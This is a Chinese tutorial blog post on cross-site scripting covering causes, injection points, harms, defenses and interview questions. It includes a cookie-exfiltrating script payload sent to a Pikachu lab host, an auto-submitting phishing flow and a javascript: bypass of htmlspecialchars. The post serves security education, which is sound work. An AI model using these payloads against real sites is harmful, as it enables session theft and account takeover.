Web渗透测试之XSS跨站脚本 原理 出现的原因 出现的位置 测试的方法 危害 防御手段 面试题 一篇文章给你说的明明白白

news2025/1/8 6:49:22

 目录

XSS介绍的原理和说明

Cross Site Scripting

钓鱼

XSS攻击原理

XSS漏洞出现的原因:

XSS产生的原因分析

XSS出现位置:

XSS测试方法

XSS的危害

防御手段:

其它防御

面试题:

备注:


XSS介绍的原理和说明

  • 嵌入在客户端脚本 对客户端进行攻击的
  • Owstop ten 十大漏洞

OWASP(开放式Web应用程序安全项目)的工具、文档、论坛和全球各地分会都是开放的,对所有致力于改进应用程序安全的人士开放,其最具权威的就是“10项最严重的Web 应用程序安全风险列表” ,总结了Web应用程序最可能、最常见、最危险的十大漏洞,是开发、测试、服务、咨询人员应知应会的知识。

  • Cross Site Scripting

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。

xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以在代码审计中xss漏洞关键就是寻找参数未过滤的输出函数。

钓鱼【XSS实例中的一种】

"<script> document.location = 'http://192.168.1.7/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>"

整体的获取过程

  • 先看看哪里有xss漏洞 再去干
  • 黑客先登录这个网站 清除cookie信息
  • 钓鱼就是调cookie
  • 网址没有变化就是post请求 不是get请求
  • document.getElementById("postsubmit").click();
  • 找到这个标签自动点击这个标签
  • ----------------------------------------------------------------------------------------------------------
  • 1 首先解析 自上而下执行完成
  • 2 获取cookie攻击代码 获取浏览器cookie
  • 3 执行windowws.onload 开始执行这个方法
  • 4 执行这个方法 document.getElementById("postsubmit").click();执行这个按钮
  • 5 发送这个html给用户 用户使用用户名密码进行登录 cookie就发送给黑客的网站了
  • 6 这样的方式就叫做钓鱼

XSS攻击原理

XSS漏洞出现的原因:

  • 程序对输入和输出的控制不够严格

    • 导致"精心构造"的脚本输入后

    • 在输出到前端时被浏览器当作有效代码解析执行从而产生危害

XSS产生的原因分析

  • 服务端程序没有对输入输出严格的过滤

    • 导致黑客精心构造的输入脚本,输入到了服务端

    • 然后并且输出浏览器当成有效的代码执行了,导致了客户端收到了攻击。

  • 如果客户端不是有效的代码,只是数据,攻击客户端的只有可执行的程序

  • 只要不是程序就执行不起来,浏览器默认解析js代码,解析就会执行这个代码。
    • 如何让他不执行
    • 这个后端就会有防御手段。

XSS出现位置:

  • 哪里提交了数据
  • 哪里展示了数据
  • 也就是有输入有输出的地方 js只有在浏览器不能执行 只能在浏览器上运行
  • 用户输入输出用户交互的地方 都可能存在xss攻击
  • Html文档中 标签中
  • URLContext
  • Css样式

XSS测试方法

  • 工具扫描

  • 手工测试

  • 工具和手工 都需要我们去综合利用

XSS的危害

  • 窃取cookie的sessionid,冒充用户登录
  • 盗取各类用户账号,如机器登录帐号、用户网银帐号、各类管理员帐号
  • 盗窃企业重要的具有商业价值的资料
  • 控制受害者机器向其它网站发起攻击(重定向语句)
  • 控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
  • 强制发送电子邮件
  • 网站挂马
  • 非法转账

防御手段:

  • 用户提交数据的时候
    • 没有在客户端进行过滤js代码,当然也可以绕过让过防御手段

  • 服务端将js存储在数据库中的代码
    • 服务端给出html代码,攻击代码被服务端解析到html
    • 发送给客户端了,这样客户端就解析了xss代码
    • 这个时候服务端就需要做输出过滤 不在是js代码 是普普通通的数据】 客户端就不会执行js代码

  • 如果您在cookie中设置了HttpOnly属性
    • 那么通过js脚本将无法读取到cookie信 息
    • 这样能有效的防止XSS攻击导致的cookie被盗取。 

  • 对输入进行过滤或清理

  • 使用预备语句
    • 在数据库查询中使用预备语句以避免XSS攻击通过输入传播到数据库

  • 实施输出编码
    • 确保在输出到HTML时使用适当的HTML编码函数

  • 使用内容安全策略

  • 审查和测试

  • 定期进行安全审计和漏洞扫描

其它防御

对输入进行过滤

  • 对输出进行编码 --- 编码指的是html实体编码

输入输出的位置

  • 输出给了js,js代码中直接将编码正常的标签编码 ----- 输出到html能识别的编码

面试题:

如果服务端使用了htmlspecialchars 防范

  • 你该如何处理我们使用

  • JavaScript伪协议

    • 使用前提

      • xss之href输出绕过:javascript:alert(1111)

      • 直接代入a标签herf里面一样可以绕过htmlspecialchars

      • 如果没有把用户提交的数据交给a标签,其实很难绕过了

      • 以及js代码写入进行绕过

备注:

  • 输入输出都没有做严格的过滤 这个在视频上还要多研究研究 XSS漏洞出现的本质原因
  • XSS玩的最多的就是盗取Cookie JS 代码能干啥 就取决于JS代码的功能,XSS代码能造成多大的影响取决于js代码

  • 而这玩意我们称之为钓鱼

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2273069.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【C++】字符串与字符数|组操作详解:strcpy 和 strcat 的使用与解析

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;一、字符串数组的基本操作&#x1f4af;二、strcpy 的用法详解1. strcpy 的功能与原型2. 使用示例与代码演示3. 注意事项4. 扩展&#xff1a;为什么不能直接用 &#xff1f…

玩机搞机基本常识-------列举安卓机型一些不常用的adb联机命令

前面分享过很多 常用的adb命令&#xff0c;今天分享一些不经常使用的adb指令。以作备用 1---查看当前手机所有app包名 adb shell pm list package 2--查看当前机型所有apk包安装位置 adb shell pm list package -f 3--- 清除指定应用程序数据【例如清除浏览器应用的数据】 …

UI自动化测试保姆级教程①

欢迎来到阿妮莫的学习小屋慢也好&#xff0c;步子小也好&#xff0c;在往前走就好 目录 自动化测试 简介 作用 分类 优缺点 优点 缺点(误区) UI自动化测试 自动化测试使用场景 自动化测试实现时间 Selenium框架 特点 Web自动化测试环境部署 Selenium包安装 浏览…

加速科技荣获“浙江省企业研究院”认定

近日&#xff0c;浙江省经济和信息化厅公布“2024年认定&#xff08;备案&#xff09;省级企业研发机构名单”。经过多轮严格评审和公示&#xff0c;加速科技荣获“省企业研究院”认定。这是加速科技继获国家级专精特新“小巨人”企业认定荣誉后的又一里程碑。 “浙江省企业研究…

RAG实战:本地部署ragflow+ollama(linux)

1.部署ragflow 1.1安装配置docker 因为ragflow需要诸如elasticsearch、mysql、redis等一系列三方依赖&#xff0c;所以用docker是最简便的方法。 docker安装可参考Linux安装Docker完整教程&#xff0c;安装后修改docker配置如下&#xff1a; vim /etc/docker/daemon.json {…

运动相机拍摄的视频打不开怎么办

3-10 GoPro和大疆DJI运动相机的特点&#xff0c;小巧、高清、续航长、拍摄稳定&#xff0c;很多人会在一些重要场合用来拍摄视频&#xff0c;比如可以用来拿在手里拍摄快速运动中的人等等。 但是毕竟是电子产品&#xff0c;有时候是会出点问题的&#xff0c;比如意外断电、摔重…

【深度学习】深度(Deep Learning)学习基础

深度学习&#xff08;Deep Learning&#xff09; 深度学习是一种基于人工神经网络的机器学习方法&#xff0c;通过多个层次&#xff08;深度&#xff09;的神经网络从数据中自动学习特征和模式。它是人工智能的一个核心领域&#xff0c;尤其在处理复杂数据&#xff08;如图像、…

资源分享:gpts、kaggle、paperswithcode

gpts 似乎是gpt agent集合&#xff0c;专注于不同细分方向的ai助手。 kaggle 专注于AI相关的培训、竞赛、数据集、大模型。 paperswithcode 简单直接&#xff0c;内容如同网站地址&#xff0c;直接提供优秀代码和配套的论文&#xff0c;似乎还有数据集。

vue3 数字滚动效果

效果图 代码 <template><div class"number-scroller"><divclass"viewport":style"{ width: width px, height: height px }"><div class"number-scroller-box" ref"num"><div v-for"num…

《软件测试技术》习题参考答案 -2

目录 第6章 黑盒测试 一、选择题 1、黑盒法是根据程序的&#xff08; C &#xff09;来设计测试用例的。 2、黑盒测试用例设计方法包括&#xff08;B &#xff09;等 )。 3、( A )是一种黑盒测试方法&#xff0c;它是把程序的输入域划分成若干部分&#xff0c;然后从每个部…

十年后LabVIEW编程知识是否会过时?

在考虑LabVIEW编程知识在未来十年内的有效性时&#xff0c;我们可以从几个角度进行分析&#xff1a; ​ 1. 技术发展与软件更新 随着技术的快速发展&#xff0c;许多编程工具和平台不断更新和改进&#xff0c;LabVIEW也不例外。十年后&#xff0c;可能会有新的编程语言或平台…

数据库课设——网上花店销售管理系统(上)

声明&#xff1a;此次课设为本人专业课课设报告内容&#xff0c;仅供参考&#xff0c;不要照搬 1 问题的提出 随着互联网发展与电子商务普及&#xff0c;网上花店兴起&#xff0c;其突破地域限制、提供便捷购物体验且市场呈快速增长趋势。该系统需具备多方面功能以满足花店运营…

外驱功率管电流型PWM控制芯片CRE6281B1

CRE6281B1 是一款外驱功率管的高度集成的电流型PWM 控制 IC&#xff0c;为高性能、低待机功率、低成本、高效率的隔离型反激式开关电源控制器。在满载时&#xff0c;CRE6281B1工作在固定频率(65kHz)模式。在负载较低时&#xff0c;CRE6281B1采用节能模式&#xff0c;实现较高的…

mapbox基础,加载高德栅格底图

👨‍⚕️ 主页: gis分享者 👨‍⚕️ 感谢各位大佬 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍⚕️ 收录于专栏:mapbox 从入门到精通 文章目录 一、🍀前言1.1 ☘️mapboxgl.Map 地图对象1.1 ☘️mapboxgl.Map style属性二、🍀加载高德栅格底图1. ☘️实现思路2. ☘…

【大数据】(选修)实验4 安装熟悉HBase数据库并实践

实验4 安装熟悉HBase数据库并实践 1、实验目的 (1)理解HBase在Hadoop体系结构中的角色; (2)熟练使用HBase操作常用的Shell命令; (3)熟悉HBase操作常用的Java API。 2、实验平台 操作系统:Linux Hadoop版本:2.6.0或以上版本 HBase版本:1.1.2或以上版本 JDK版…

安装vue脚手架出现的一系列问题

安装vue脚手架出现的一系列问题 前言使用 npm 安装 vue/cli2.权限问题及解决方法一&#xff1a;可以使用管理员权限进行安装。方法二&#xff1a;更改npm全局安装路径 前言 由于已有较长时间未进行 vue 项目开发&#xff0c;今日着手准备开发一个新的 vue 项目时&#xff0c;在…

前端JS中var、let、const之间的区别

&#x1f3ac; 江城开朗的豌豆&#xff1a;个人主页 &#x1f525; 个人专栏 :《 VUE 》 《 javaScript 》 &#x1f4dd; 个人网站 :《 江城开朗的豌豆&#x1fadb; 》 ⛺️ 生活的理想&#xff0c;就是为了理想的生活 ! 目录 一、var 二、let 三、const 四、区别 变量…

STM32+ADC+DMA快速循环转换

测试平台&#xff1a;STM32F405RGT6 uint32_t AD_Buf[100]{0}; HAL_ADC_Start_DMA(&hadc2,(uint32_t *)AD_Buf,100); while(1) {printf("AD_Buf:%d\n",AD_Buf[0]); }

Unity中 Xlua使用整理(一)

1.安装: 从GitHub上下载Xlua源码 Tencent/xLua: xLua is a lua programming solution for C# ( Unity, .Net, Mono) , it supports android, ios, windows, linux, osx, etc. (github.com) 下载Xlua压缩包&#xff0c;并解压将Aseet文件夹中的Xlua和Plugins文件夹复制到Unit…

js高阶-函数闭包this

闭包 一等公民 在js中函数是一等公民 函数使用很灵活,可以作为参数,也可以作为返回值 高阶函数 函数接收函数作为参数或者返回函数,则该函数称为高阶函数 eg: array.filter/reduce/find/findIndex/map.forEach 函数与方法 独立使用的 Function 做为对象的属性 method Wh…